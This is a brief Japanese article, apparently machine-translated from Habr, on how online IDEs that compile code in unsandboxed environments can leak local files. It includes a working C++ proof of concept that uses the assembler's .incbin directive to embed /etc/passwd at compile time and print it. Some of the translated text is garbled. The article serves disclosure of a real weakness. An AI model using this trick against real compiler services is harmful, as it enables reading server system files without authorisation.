オンラインIDEおよびローカルファイルの包含

最近、 多くのオンラインIDEが登場し、ネイティブアプリケーションもコンパイルおよび実行できるようになりました。 当然、そのようなサービスのセキュリティに関して疑問が生じます。 コンパイルされたプログラムはサンドボックスで実行されますが、コンパイル自体は安全でない環境で行われることがよくあります。

GCC + GAS

GCCでは、 asmディレクティブを使用してGASを呼び出すことができますincbin素晴らしい incbinます。 その助けを借りて、コンパイル段階で、ファイルをデータとして含めることができます。 C ++のエクスプロイトは次のとおりです。

 #include <stdio.h> extern "C" asm( ".global _data\n" ".data\n" "_data:\n" ".incbin \"/etc/passwd\"\n" ".byte 0" ); extern const char _data; const char* data = &_data; int main() { printf("%s", data); } 


Source: https://habr.com/ru/post/J183976/


All Articles